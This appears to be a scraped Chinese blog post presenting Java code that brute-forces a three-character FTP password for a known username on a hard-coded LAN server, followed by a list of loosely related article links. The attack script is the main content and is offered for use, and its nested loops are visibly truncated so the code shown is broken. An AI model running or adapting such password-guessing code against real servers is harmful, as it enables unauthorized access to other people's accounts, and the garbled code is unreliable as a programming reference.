java穷举密码_Java实现穷举密码登录FTP服务器
sun.net包中包含了很多协议的相关内容 ,比如FTP、SMTP、WWW等。
其中的ftp包里的FtpClient类可以实现一个FTP客户端,它提供了FTP的一些常用命令,比如连接服务器,登录服务器,上传下载文件等。
相关的方法都封装了ftp命令,可以方便地调用。
不足之处是,很多方法的返回值都是void,比如登录服务器,当用户名或者密码错误的时候,会抛出异常,正确的时候返回void。它并没有返回ftp的错误代码等。
当在错误的时候,捕获异常,然后输出,可以看到里边的ftp错误代码。
我在这里仅仅用了其中的三个方法,一是构建了一个FtpClient对象,二是连接服务器,三是登录服务器。登录服务器采用的是穷举密码的方法。测试了下,速度还是挺快的。
package per.eyuan.ftp.core;
import java.io.IOException;
import sun.net.ftp.FtpClient;;
/**
* @author eyuan
* 使用穷举密码的办法登录FTP服务器
* 假设:用户名已知,密码长度已知
*/
public class FtpServerConnect {
FtpClient ftpClient=null;
String ip="";
int port=0;
String username="";
char[] password;
String passwd="";
/**
* main()
*/
public static void main(String[] args) {
FtpServerConnect fsc=new FtpServerConnect();
fsc.ip="192.168.1.105";
fsc.port=21;
fsc.username="mhb";
fsc.password=new char[3];
fsc.connectServer(fsc.ip, fsc.port);
StringBuffer sb=new StringBuffer();
for(int i=0;i<=9;i++){
sb.append(i);
}
for(char ch='A';ch<='Z';ch++){
sb.append(ch);
}
for(char ch='a';ch<='z';ch++){
sb.append(ch);
}
int sbLength=sb.length();
for(int i=0;i
fsc.password[0]=sb.charAt(i);
for(int j=0;j
fsc.password[1]=sb.charAt(j);
for(int k=0;k
fsc.password[2]=sb.charAt(k);
fsc.passwd=""+fsc.password[0]+fsc.password[1]+fsc.password[2];
if(fsc.loginServer(fsc.username, fsc.passwd)){
System.out.println("成功登录FTP服务器");
System.out.println("用户密码:"+fsc.passwd);
return;
}
}
}
}
}
/**
* 连接到指定IP地址的服务器上的指定端口的FTP服务
* @param String ip 服务器IP地址
* @param int port 服务器FTP端口
* @return boolean flagConnectServer 是否成功连接到服务器
*/
public boolean connectServer(String ip,int port){
boolean flagConnectServer=true;
ftpClient=new FtpClient();
try{
ftpClient.openServer(ip, port);
System.out.println("连接服务器成功");
}catch(IOException ioe){
flagConnectServer=false;
System.out.println("IP地址或者端口错误,无法连接到服务器");
}
return flagConnectServer;
}
/**
* 使用指定的用户名和密码登录指定的FTP服务器
* @param String username FTP用户名
* @param String password FTP密码
* @return boolean flagLoginServer 是否登录成功
*/
public boolean loginServer(String username,String password){
boolean flagLoginServer=true;
try {
ftpClient.login(username, password);
System.out.println("登录成功");
} catch (IOException e) {
flagLoginServer=false;
}
return flagLoginServer;
}
}
java穷举密码_Java实现穷举密码登录FTP服务器相关推荐
- java邮箱找回密码_java实现邮箱找回密码 简单邮件
首先 发件人的POP/SMTP服务要打开 发件人的密码为服务的授权码 js方法 //找回密码 function send(){ var lostemail = $("#lostemail ...
- java web 找回密码_java web实现 忘记密码(找回密码)功能及代码
java web实现 忘记密码(找回密码)功能及代码 (一).总体思路 (二).部分截图 (三).部分代码 (一).总体思路: 1.在 找回密码页面 录入 姓名.邮箱和验证码,录入后点击[提交]按钮, ...
- 我的世界java邮箱和密码_java实现邮箱找密码
SMTP,POP3,IMAP POP3 POP3是Post Office Protocol 3的简称,即邮局协议的第3个版本,它规定怎样将个人计算机连接到Internet的邮件服务器和下载电子邮件的电 ...
- 修改登录ftp服务器时用的密码,ftp服务器登录密码修改
ftp服务器登录密码修改 内容精选 换一换 本文介绍如何在裸金属服务器操作系统内部修改登录密码.建议优先在控制台上重置密码,如果不可以,再尝试在操作系统内部修改登录密码.此处以CentOS 7.5版本 ...
- java编写脚本校验修改密码_java编写一个更改密码校验程序,有两个密码框,一个用于输入新密码,另一个请输入确认密码……...
展开全部 import java.awt.event.ActionEvent; import java.awt.event.ActionListener; import javax.swing.JBu ...
- java shiro 访问频率_java shiro配置记住密码功能 RememberMe
一般来讲,记住密码的基本处理,就是把用户的一些基本信息(密码)存入浏览器的Cookie,下次登录的时候优先验证Cookie,后端做处理:以此来实现记住密码的功能!使用shiro自带的RememberM ...
- java中修改密码_java怎样修改用户名密码?
展开全部 package changepassword; import java.util.Scanner; public class Administrator{ String name;//姓名 ...
- java专业大学生入伍_JAVA程序征兵系统(包含登录系统和征兵系统)
源代码: 账号密码在程序里面 import java.util.Scanner; public class Conscription { public static void main(String[ ...
- java socket5源码_Java利用TCP协议实现客户端与服务器通信【附通信源码】
进行TCP协议网络程序的编写,关键在于ServerSocket套接字的熟练使用,TCP通信中所有的信息传输都是依托ServerSocket类的输入输出流进行的. TCP协议概念 先来了解一下TCP协议 ...
- java 不生成文件下载_java 下载文件时怎么避免在服务器上生成文件
Stringpath=request.getSession().getServletContext().getRealPath("/");//服务器路径Stringname=de0 ...
最新文章
- python跨行字符串 变量_在Python中有没有在多行字符串中使用变量的方法?
- 厉害了,天刚一冷程序员就都换上了衬衫。。
- JNI实现源码分析【四 函数调用】
- java中printarray和selectsort方法_算法题(一)
- linux系统搭建ftp服务器--只给某个用户访问其默认目录下的文件
- .net Reflection(反射)- 二
- Linq to SQL之使用事务
- Java-变量、常量
- 泥塑课c语言,【C】泥塑课(From http://www.jisuanke.com/)
- 积分图像追踪目标 (一)
- php在函数中定义全局变量,PHP 全局变量在用户自定义函数内部不足见
- 沈阳建筑大学811c语言真题,沈阳建筑大学C语言试题.doc
- 最优秀最合理2019年移动便携图形工作站配置探讨
- Adobe证书含金量
- 生信技能树linux虚拟机,科学网—Windows10安装Linux子系统Ubuntu 20.04LTS,轻松使用生信软件,效率秒杀虚拟机 - 刘永鑫的博文...
- Hadoop3.2.1 【 YARN 】源码分析 : NodeStatusUpdaterImpl概述
- MySQL之CentOS安装MySQL
- ADAS不是自动驾驶汽车
- ListView的分割线相关属性
- arm汇编总结---让汇编不再神秘